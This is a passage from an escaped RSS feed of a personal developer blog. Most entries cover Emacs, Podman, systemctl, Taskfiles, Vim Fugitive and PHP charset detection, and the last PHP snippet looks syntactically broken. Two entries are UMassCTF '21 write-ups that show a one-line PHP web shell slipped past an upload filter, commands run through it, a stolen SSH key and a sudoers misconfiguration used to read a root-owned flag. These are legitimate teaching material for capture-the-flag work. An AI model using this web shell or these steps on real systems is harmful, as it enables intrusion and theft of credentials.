&lt;li>MacOS&amp;rsquo; CMD key is bound to &lt;code>meta&lt;/code>&lt;/li>
&lt;li>Trailing spaces are deleted with &lt;code>delete-trailing-whitespace&lt;/code> on every buffer save&lt;/li>
&lt;li>Indent with spaces by default&lt;/li>
&lt;li>Vertico for vertical completion (like helm or ivy)&lt;/li>
&lt;li>Consult for some nice functions like &lt;code>consult-imenu&lt;/code> or &lt;code>consult-buffer&lt;/code>&lt;/li>
&lt;li>Orderless for fuzzy-like autocompletion&lt;/li>
&lt;li>Projectile&lt;/li>
&lt;li>Magit&lt;/li>
&lt;li>Flycheck&lt;/li>
&lt;li>Company&lt;/li>
&lt;li>Vterm - possibly the greatest terminal emulation in Emacs I could fine&lt;/li>
&lt;li>Prodigy - love this tool. Allows you to manage services running on your machine.&lt;/li>
&lt;li>various lang modes&lt;/li>
&lt;/ul>
&lt;p>What&amp;rsquo;s pretty interesting and I couldn&amp;rsquo;t expect I&amp;rsquo;d like is a white color scheme.&lt;/p>
&lt;p>All of those are working pretty well and if I need to override some of their behavior
it usually something super simple, unlike Doom or Spacemacs where some functionality overridden by the &amp;ldquo;package&amp;rdquo; configuration that you gotta
go and inspect and then find some hooks that also adds additional layer of configuration.&lt;/p>
&lt;p>Screenshot (click to zoom):&lt;/p>
&lt;p>&lt;a href="https://codelearn.me/assets/img/own-emacs-config-example-white-theme.png" target="_blank">&lt;img width="400px" src="https://codelearn.me/assets/img/own-emacs-config-example-white-theme.png" />&lt;/a>&lt;/p></description></item><item><title>Podman detach keys</title><link>https://codelearn.me/2022/06/04/escape-sequence-in-podman.html</link><pubDate>Sat, 04 Jun 2022 15:30:00 +0000</pubDate><guid>https://codelearn.me/2022/06/04/escape-sequence-in-podman.html</guid><description>&lt;h2 id="tldr">TLDR;&lt;/h2>
&lt;p>Add &lt;code>detach-keys = &amp;quot;ctrl-@,ctrl-q&amp;quot;&lt;/code> to &lt;code>[engine]&lt;/code> section in &lt;code>~/.config/containers/containers.conf&lt;/code> file&lt;/p>
&lt;h2 id="description">Description&lt;/h2>
&lt;p>I recently switched to Podman and the only issue I faced is CTRL+P won&amp;rsquo;t work properly inside containers.&lt;/p>
&lt;p>That&amp;rsquo;s exactly the same issue I had with Docker, described in my &lt;a href="https://codelearn.me/2018/03/01/docker-terminal-navigation.html">Docker detach keys&lt;/a> post.&lt;/p>
&lt;p>The solution from that post doesn&amp;rsquo;t work since it was purely docker-specific configuration file.&lt;/p>
&lt;p>In case of Podman the configuration file is &lt;code>~/.config/containers/containers.conf&lt;/code>.&lt;/p>
&lt;p>The line that must be added is &lt;code>detach_keys = &amp;quot;ctrl-@,ctrl-q&amp;quot;&lt;/code> (feel free to choose any other sequence).&lt;/p>
&lt;p>The line must be added under &lt;code>[engine]&lt;/code> table.&lt;/p>
&lt;p>When this is done &lt;code>ctrl-p&lt;/code> is not going to be a keybinding that starts an escape sequence.&lt;/p></description></item><item><title>Getting back to Emacs</title><link>https://codelearn.me/2022/05/14/getting-back-to-emacs.html</link><pubDate>Sat, 14 May 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/05/14/getting-back-to-emacs.html</guid><description>&lt;p>I do change my workflow from time to time to keep myself in shape.&lt;/p>
&lt;p>Now, once again, I&amp;rsquo;m trying to switch back to Emacs. This time I decided to go with Doom.
I already tried to install use it but it didn&amp;rsquo;t work well for me and I didn&amp;rsquo;t bother to change
the configuration.&lt;/p>
&lt;h2 id="main-functionalities-i-need">Main functionalities I need&lt;/h2>
&lt;h3 id="quick-search-in-a-project">Quick search in a project&lt;/h3>
&lt;p>That&amp;rsquo;s something I used &lt;code>ag&lt;/code> for in my Vim. I could easily look for a word under the cursor everywhere in the project.&lt;/p>
&lt;p>Projectile fortunately have something like this as well and I can search for word under cursor with &lt;code>SPC-*&lt;/code>.
The issue though is in PHP the word under cursor was including &lt;code>$&lt;/code> sign which is not want I wanted.&lt;/p>
&lt;p>Fixed by excluding &lt;code>$&lt;/code> sign from part of a keyword&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-elisp" data-lang="elisp">&lt;span style="display:flex;">&lt;span>(after! php-mode
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#a6e22e">modify-syntax-entry&lt;/span> &lt;span style="color:#e6db74">?$&lt;/span> &lt;span style="color:#e6db74">&amp;#34;.&amp;#34;&lt;/span> php-mode-syntax-table))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="git-interface">Git interface&lt;/h3>
&lt;p>I usually use &lt;code>git&lt;/code> in terminal to create a branch, for merging, branch switching.
But I need a quick way to stage files and write commit messages.&lt;/p>
&lt;p>Magit is definitely the suits my needs here.&lt;/p>
&lt;h3 id="multiple-cursors">Multiple cursors&lt;/h3>
&lt;p>Doom has &lt;code>multiple-cursors&lt;/code> package. For some reason it doesn&amp;rsquo;t bind anything and I had to manually bind &lt;code>M-d&lt;/code> to &lt;code>evil-multiedit-match-and-next&lt;/code>&lt;/p>
&lt;h3 id="tasks-management--notes">Tasks management / Notes&lt;/h3>
&lt;p>Well, in Vim I didn&amp;rsquo;t have any good tool for this. I usually switched to Obsidian to take notes.&lt;/p>
&lt;p>With Emacs there is org-mode and that&amp;rsquo;s the primary reason why I&amp;rsquo;m even switching to Emacs right now.&lt;/p>
&lt;h3 id="projects-management">Projects management&lt;/h3>
&lt;p>I used Vim with Tmux and every tmux session was created per project. Every session had windows for vim, terminal operations, background jobs.&lt;/p>
&lt;p>In Doom we already have Projectile included. There are also workspaces.&lt;/p>
&lt;p>These two packages are great for managing projects and buffers.&lt;/p>
&lt;h2 id="issues-that-i-still-need-to-solve">Issues that I still need to solve&lt;/h2>
&lt;h3 id="php-mode-is-slow">php-mode is slow&lt;/h3>
&lt;p>That&amp;rsquo;s something I didn&amp;rsquo;t notice many years ago when I was using Emacs.
Hard to tell if this is related to Evil mode enabled or some other Doom related configuration but when I try to
&lt;code>evil-shift-right&lt;/code> with more than 50 lines selected I have to wait some time for this action to happen.&lt;/p>
&lt;h3 id="magit-is-slow">magit is slow&lt;/h3>
&lt;p>Magit is pretty quick for small editings. But when I have, let&amp;rsquo;s say a merge conflict with a lot of files it takes
5-10 seconds for magit to open. It obviously depends on exact amount of files to show there but that&amp;rsquo;s pretty painful.
Of course every other subsequent command is also slow.&lt;/p>
&lt;h3 id="company-mode-doesnt-autocomplete">company-mode doesn&amp;rsquo;t autocomplete&lt;/h3>
&lt;p>Company in my case didn&amp;rsquo;t want to autocomplete by default. The reason was that company backends chosen in doom don&amp;rsquo;t really work at least on
my projects.&lt;/p>
&lt;p>Moreover when I try to set &lt;code>company-backends&lt;/code> variable to something I need and open a php file the variable updates automatically
and &lt;code>company-capf&lt;/code> with &lt;code>company-yasnippet&lt;/code> is prepended to the list of backends.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>Overall Doom experience is pretty nice. Configuration is hard sometimes because Doom sets some package variables, add hooks here and there
and changes configuration of packages to some non-default behavior.
It makes a bit more complex to setup a package/mode to something I need.&lt;/p>
&lt;p>Maybe I should have chosen Doom in the first place because I already have some habits and needs that I want to have in my editor
while Doom is probably good if you don&amp;rsquo;t have those habits or want to change them.&lt;/p></description></item><item><title>Use systemctl instead of service command</title><link>https://codelearn.me/2022/04/22/use-systemctl.html</link><pubDate>Fri, 22 Apr 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/04/22/use-systemctl.html</guid><description>&lt;h2 id="tldr">TLDR;&lt;/h2>
&lt;p>&lt;code>service&lt;/code> is less functional wrapper around &lt;code>systemctl&lt;/code> command on systemd based distros.&lt;/p>
&lt;h2 id="details">Details&lt;/h2>
&lt;p>I&amp;rsquo;m a long time Linux user and got a habit to start/stop things using &lt;code>service&lt;/code> command.&lt;/p>
&lt;p>I never really thought about what exactly it does. I mean, I know I can start Apache or something else with it and it&amp;rsquo;s something related to init system of my distro.
Usually when you install Apache or PHP-FPM those things become recognizable by &lt;code>service&lt;/code> command and you can call &lt;code>service program start&lt;/code> when you want to start a service.&lt;/p>
&lt;p>I never really needed to write my own init scripts so I successfully skipped any knowledge related to init systems of various distros I used.&lt;/p>
&lt;p>Today I was reading &lt;a href="https://docs.fedoraproject.org/en-US/docs/">Fedora Manual for Administrators&lt;/a> and there are lot of stuff written about systemd and its insisted to use &lt;code>systemctl&lt;/code> command. Why is that if &lt;code>service&lt;/code> works too.&lt;/p>
&lt;p>Let&amp;rsquo;s close this question.&lt;/p>
&lt;p>Turned out &lt;code>systemctl&lt;/code> is part of &lt;code>systemd&lt;/code> package/program/init-system. And this is the tool to use when you want to interact with &lt;code>systemd&lt;/code>.&lt;/p>
&lt;p>&lt;code>service&lt;/code> on the other hand is a script that allows you to start/stop other scripts defined in &lt;code>/etc/init.d&lt;/code> folder which was used by other init-systems in the past.&lt;/p>
&lt;p>Most systemd-based distros provide &lt;code>service&lt;/code> command for backward compatibility.
At first this command is going to look into &lt;code>/etc/init.d&lt;/code> folder and if no service found there then it will try to use &lt;code>systemctl&lt;/code>.&lt;/p>
&lt;p>&lt;code>service&lt;/code> command doesn&amp;rsquo;t support all possible arguments supported by &lt;code>systemctl&lt;/code>.&lt;/p>
&lt;p>So if you consciously decided to use systemd then you definitely should use &lt;code>systemctl&lt;/code> because it is the command that allows you to interact with &lt;code>systemd&lt;/code> services.
&lt;code>service&lt;/code> command behaves like proxy to &lt;code>systemctl&lt;/code>. Of course it behaves like proxy only if you don&amp;rsquo;t use &lt;code>/etc/init.d&lt;/code> for your daemons which you probably shouldn&amp;rsquo;t do on systemd based system.&lt;/p></description></item><item><title>Makefile -> Taskfile</title><link>https://codelearn.me/2022/04/16/makefile-taskfile.html</link><pubDate>Sat, 16 Apr 2022 00:00:00 +0000</pubDate><guid>https://codelearn.me/2022/04/16/makefile-taskfile.html</guid><description>&lt;h2 id="makefile">Makefile&lt;/h2>
&lt;p>I add a Makefile to every project I work with. I don&amp;rsquo;t usually work on C/C++ projects or any other compiled languages but Makefile is good to make aliases for long commands.&lt;/p>
&lt;p>Here is an example of short version of Makefile I use:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-makefile" data-lang="makefile">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">.PHONY&lt;/span>&lt;span style="color:#f92672">:&lt;/span> up
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">up&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	docker-compose up -d
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">.PHONY&lt;/span>&lt;span style="color:#f92672">:&lt;/span> logs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">logs&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	tail -f ./storage/logs/*.log
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There are set of aliases / mnemonics that I used to:&lt;/p>
&lt;ul>
&lt;li>&lt;code>make up&lt;/code> - start the project. May be docker-compose or set of commands to turn the project into &amp;ldquo;running&amp;rdquo; state&lt;/li>
&lt;li>&lt;code>make down&lt;/code> - stop everything &lt;code>make up&lt;/code> did&lt;/li>
&lt;li>&lt;code>make tags&lt;/code> - generate tags&lt;/li>
&lt;li>&lt;code>make logs&lt;/code> - watch logs where ever they are&lt;/li>
&lt;/ul>
&lt;p>Since I work with multiple languages and frameworks, thanks to this approach, I don&amp;rsquo;t need to remember how to start a project, how to compile JS files, how to read logs, etc&amp;hellip; All those commands are hidden under &lt;code>make&lt;/code> targets.&lt;/p>
&lt;p>On the other hand Makefiles aren&amp;rsquo;t designed for such use. &lt;code>make&lt;/code> is super powerful tool and using it as an alias system just feels wrong.&lt;/p>
&lt;h2 id="taskfile">Taskfile&lt;/h2>
&lt;p>Taskfile - is just a shell script where you can define functions to call.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> up &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> podman-compose up -d --build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> down &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> podman-compose down
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> npm &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> podman run -it -v &lt;span style="color:#e6db74">`&lt;/span>pwd&lt;span style="color:#e6db74">`&lt;/span>:/app -w /app node:latest npm $@
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> composer &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> podman-compose exec app composer $@
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>TIMEFORMAT&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;Task completed in %3lR&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>time &lt;span style="color:#e6db74">${&lt;/span>@&lt;span style="color:#66d9ef">:-&lt;/span>default&lt;span style="color:#e6db74">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Place this file in your project root, make it executable and you can call those aliases with &lt;code>./Taskfile up&lt;/code> or &lt;code>./Taskfile composer install&lt;/code>.&lt;/p>
&lt;p>To simplify this a bit add this line to you bashrc/zshrc:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>alias run&lt;span style="color:#f92672">=&lt;/span>./Taskfile
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now you can call all those commands as &lt;code>run up&lt;/code> or &lt;code>run composer install&lt;/code>.
Pretty handy.&lt;/p>
&lt;p>This idea was borrowed from &lt;a href="https://github.com/adriancooney">Adrian Cooney&lt;/a> and his &lt;a href="https://github.com/adriancooney/Taskfile">Taskfile repo&lt;/a>.&lt;/p></description></item><item><title>UMassCTF '21 Hermit 1 WriteUp</title><link>https://codelearn.me/2021/03/28/umassctf-hermit1-writeup.html</link><pubDate>Sun, 28 Mar 2021 00:00:00 +0000</pubDate><guid>https://codelearn.me/2021/03/28/umassctf-hermit1-writeup.html</guid><description>&lt;center>&lt;a target="_blank" href="https://codelearn.me/assets/img/hermit-logo.png">&lt;img alt="hermit logo" src="https://codelearn.me/assets/img/hermit-logo.png" width="300px"/>&lt;/a>&lt;/center>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>There is only one form that accepts a file.&lt;/p>
&lt;p>The validation of the file is based on extension so we can try and upload &lt;code>shell.php.jpg&lt;/code> image with content like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">&amp;lt;?=&lt;/span>&lt;span style="color:#e6db74">`$_GET[0]`&lt;/span>&lt;span style="color:#75715e">?&amp;gt;&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>When image is uploaded we see the page like this:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/hermit-shell-uploaded.png">&lt;img alt="hermit logo" src="https://codelearn.me/assets/img/hermit-shell-uploaded.png" width="500px"/>&lt;/a>&lt;/p>
&lt;p>Click on &lt;strong>See image&lt;/strong> and we see a blank page with some strange PHP errors. It&amp;rsquo;s because our &amp;ldquo;image&amp;rdquo; expects get param called &amp;ldquo;0&amp;rdquo; so let&amp;rsquo;s add one.&lt;/p>
&lt;p>&lt;code>104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls&lt;/code>&lt;/p>
&lt;p>and we can see list of directories in the project root.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/hermit-ls-project-root.png">&lt;img alt="hermit logo" src="https://codelearn.me/assets/img/hermit-ls-project-root.png" width="500px"/>&lt;/a>&lt;/p>
&lt;p>Now it&amp;rsquo;s time to search for flag. Let&amp;rsquo;s check home directory like this:&lt;/p>
&lt;p>&lt;code>104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls /home&lt;/code>&lt;/p>
&lt;p>we see there is only one folder &lt;code>hermit&lt;/code>&lt;/p>
&lt;p>Let&amp;rsquo;s check that folder:&lt;/p>
&lt;p>&lt;code>104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls /home/hermit&lt;/code> - and there is flag folder now.&lt;/p>
&lt;p>&lt;code>104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls /home/hermit/flag&lt;/code> - shows us &lt;code>userflag.txt&lt;/code>&lt;/p>
&lt;p>&lt;code>104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=cat /home/hermit/flag/userflag.txt&lt;/code> - shows us the flag&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/hermit1-flag.png">&lt;img alt="hermit logo" src="https://codelearn.me/assets/img/hermit1-flag.png" width="500px"/>&lt;/a>&lt;/p></description></item><item><title>UMassCTF '21 Hermit 2 WriteUp</title><link>https://codelearn.me/2021/03/28/umassctf-hermit2-writeup.html</link><pubDate>Sun, 28 Mar 2021 00:00:00 +0000</pubDate><guid>https://codelearn.me/2021/03/28/umassctf-hermit2-writeup.html</guid><description>&lt;center>&lt;a target="_blank" href="https://codelearn.me/assets/img/hermit2-into.png">&lt;img alt="hermit logo" src="https://codelearn.me/assets/img/hermit2-into.png" width="400px"/>&lt;/a>&lt;/center>
&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>The image above is what we see when visiting the challenge URL (&lt;code>104.197.195.221:8087&lt;/code>)&lt;/p>
&lt;p>That&amp;rsquo;s strange. Initially I thought the site is down but it&amp;rsquo;s fine.&lt;/p>
&lt;p>Let&amp;rsquo;s try to connect with NetCat and see what the server tell us and why browser can&amp;rsquo;t display it.&lt;/p>
&lt;p>&lt;code>nc -vvv 104.197.195.221 8087&lt;/code>&lt;/p>
&lt;p>and response we get back is:&lt;/p>
&lt;pre tabindex="0">&lt;code>221.195.197.104.bc.googleusercontent.com [104.197.195.221] 8087 (?) open
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
&lt;/code>&lt;/pre>&lt;p>Doesn&amp;rsquo;t look like valid HTTP resopnse lol. Ok now we know that SSH server is running on that port so let&amp;rsquo;s try to connect.&lt;/p>
&lt;p>&lt;code>ssh 104.197.195.221 -p 8087&lt;/code> - and we see the prompt to enter a password for myself (krydos). It isn&amp;rsquo;t clear what user should I use.
And even if we know the user what is the password?&lt;/p>
&lt;p>As a hint the challenge name is &lt;code>hermit&lt;/code> so the user is probably has the same name but we still need to know password.&lt;/p>
&lt;p>Poking around, trying different things I noticed that hermit 2 challenge is &lt;strong>on the same IP address where hermit 1&lt;/strong> is.&lt;/p>
&lt;p>That&amp;rsquo;s actually great because we have shell access on the server from &lt;a href="https://codelearn.me/2021/03/28/umassctf-hermit1-writeup.html">the previous challenge&lt;/a>.&lt;/p>
&lt;p>So I went to &lt;code>/home/hermit/.ssh&lt;/code> folder, copied user&amp;rsquo;s private key and used it in my ssh command like this:&lt;/p>
&lt;p>&lt;code>ssh -i /tmp/hermit.ssh.private.key hermit@104.197.195.221 -p 8087&lt;/code>&lt;/p>
&lt;p>We&amp;rsquo;re in. Now&amp;hellip; &lt;strong>where is the flag?&lt;/strong>
We know one flag from the previous challenge but I wasn&amp;rsquo;t able to find another one.&lt;/p>
&lt;p>Grep&amp;rsquo;ing everything didn&amp;rsquo;t help.
My assumption was that the flag is somewhere in &lt;code>/root&lt;/code> folder or somewhere else where hermit user doesn&amp;rsquo;t have access to.&lt;/p>
&lt;p>Now&amp;hellip; &lt;strong>how can I become a root&lt;/strong>? Tried some stuff but didn&amp;rsquo;t find anything useful.&lt;/p>
&lt;p>Then I grepped for &lt;code>flag&lt;/code> in &lt;code>/etc&lt;/code> folder and I found&lt;/p>
&lt;p>&lt;code>hermit ALL = (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t&lt;/code> in &lt;code>/etc/sudoers&lt;/code> file.&lt;/p>
&lt;p>This record means that we can execute that command without asking for password.&lt;/p>
&lt;p>Let&amp;rsquo;s do it:&lt;/p>
&lt;p>&lt;code>sudo /bin/gzip -f /root/rootflag.txt -t&lt;/code> and we see the flag - &lt;code>UMASS{a_test_of_integrity}&lt;/code>&lt;/p>
&lt;p>Hooray&lt;/p></description></item><item><title>Vim Fugitive. :Glog - show a commit author</title><link>https://codelearn.me/2021/02/06/vim-fugitive-glog-format.html</link><pubDate>Sat, 06 Feb 2021 00:00:00 +0000</pubDate><guid>https://codelearn.me/2021/02/06/vim-fugitive-glog-format.html</guid><description>&lt;h1 id="tldr">TL;DR&lt;/h1>
&lt;p>&lt;code>let g:fugitive_summary_format = &amp;quot;%&amp;lt;(16,trunc)%an || %s&amp;quot;&lt;/code>&lt;/p>
&lt;h1 id="the-path-of-figuring-that-line-out">The path of figuring that line out&lt;/h1>
&lt;p>Vim-Fugitive is a great package. Recently I started to use :Glog command a lot to look at range of changes added to a branch after git pull.&lt;/p>
&lt;pre tabindex="0">&lt;code>:Glog &amp;lt;hash&amp;gt;..&amp;lt;another hash&amp;gt;
&lt;/code>&lt;/pre>&lt;p>By default the command only shows a commit hash and its subject.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/vim-fugitive-default-glog.png">&lt;img alt="vm screenshot" src="https://codelearn.me/assets/img/vim-fugitive-default-glog.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>I really wanted to see how can I show a commit author name as well.&lt;/p>
&lt;p>&lt;code>:h fugitive&lt;/code> didn&amp;rsquo;t help much.&lt;/p>
&lt;p>Inspecting the fugitive&amp;rsquo;s source code I came across not documented &lt;code>g:fugitive_summary_format&lt;/code> variable.
Initially it wasn&amp;rsquo;t clear how to use it what values I can assign to it but then I noticed that it is assigned with values like &lt;code>%s&lt;/code> or &lt;code>%h %P\t%H&lt;/code>.&lt;/p>
&lt;p>These things looks familiar. &lt;code>man git-log&lt;/code> - the place those control symbols can be found at.
Searching by &amp;ldquo;author&amp;rdquo; gives us &lt;code>%an&lt;/code> that we can use.&lt;/p>
&lt;p>Let&amp;rsquo;s do &lt;code>let g:fugitive_summary_format = &amp;quot;%an&amp;quot;&lt;/code> and see how does it look.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/vim-fugitive-author-only.png">&lt;img alt="vm screenshot" src="https://codelearn.me/assets/img/vim-fugitive-author-only.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>Nice&amp;hellip; no commit message. By searching in &lt;code>man git-log&lt;/code> I found &lt;code>%s&lt;/code> which is a subject (first top line) part of a commit message.&lt;/p>
&lt;p>Let&amp;rsquo;s do &lt;code>let g:fugitive_summary_format = &amp;quot;%an\t%s&amp;quot;&lt;/code> (separate name and subject with a tab symbol)&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/vim-fugitive-author-subject-no-aligned.png">&lt;img alt="vm screenshot" src="https://codelearn.me/assets/img/vim-fugitive-author-subject-no-aligned.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>Better but subject is not vertically aligned so let&amp;rsquo;s keep reading &lt;code>man git-log&lt;/code>.&lt;/p>
&lt;p>There is a subject &lt;strong>Placeholders that affect formatting of later placeholders&lt;/strong> where you can find this scary expression - &lt;code>%&amp;lt;(&amp;lt;N&amp;gt;[,trunc|ltrunc|mtrunc])&lt;/code>&lt;br/>
The definition of this scary thing is - &lt;strong>make the next placeholder take at least N columns, padding spaces on the right if necessary&lt;/strong>.&lt;/p>
&lt;p>Exactly what we need.
Let&amp;rsquo;s try to use it:&lt;/p>
&lt;p>&lt;code>let g:fugitive_summary_format = &amp;quot;%&amp;lt;(16,trunc)%an || %s&amp;quot;&lt;/code> - here I assume 16 chars in user name is enough for me to recognize an author.
Adding || too as a separator between author and subject.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/vim-fugitive-author-subject-aligned.png">&lt;img alt="vm screenshot" src="https://codelearn.me/assets/img/vim-fugitive-author-subject-aligned.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>Much better!&lt;/p></description></item><item><title>PHP: visual charset detection of a string</title><link>https://codelearn.me/2020/11/25/visual-detection-of-charset-in-php.html</link><pubDate>Wed, 25 Nov 2020 00:00:00 +0000</pubDate><guid>https://codelearn.me/2020/11/25/visual-detection-of-charset-in-php.html</guid><description>&lt;p>Sometimes in &lt;code>mb_convert_encoding($str, 'UTF-8', 'auto')&lt;/code> that latest &lt;code>auto&lt;/code> argument won&amp;rsquo;t work.&lt;/p>
&lt;p>To find what charset the string is using you can get all possible charsets, convert your &lt;code>$str&lt;/code> into that charset and print it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">foreach&lt;/span>(&lt;span style="color:#a6e22e">mb_list_encodings&lt;/span>() &lt;span style="color:#66d9ef">as&lt;/span> $charset) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">echo&lt;/span> &lt;span style="color:#a6e22e">mb_convert_encoding&lt;/span>($str, &lt;span style="color:#e6db74">&amp;#39;UTF-8&amp;#39;&lt;/span>, $charset) &lt;span style="color:#f92672">.&lt;/span> &lt;span style="color:#e6db74">&amp;#39; ----- &amp;#39;&lt;/span> &lt;span style="color:#f92672">.&lt;/span> $chr &lt;span style="color:#f92672">.&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#ae81ff">\n&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>; &lt;span style="color:#ae81ff">2&lt;/span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This code may not work for some charsets returned by &lt;code>mb_list_encodings()&lt;/code>. You can ignore some of them like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">foreach&lt;/span>(&lt;span style="color:#a6e22e">mb_list_encodings&lt;/span>() &lt;span style="color:#66d9ef">as&lt;/span> $charset) {
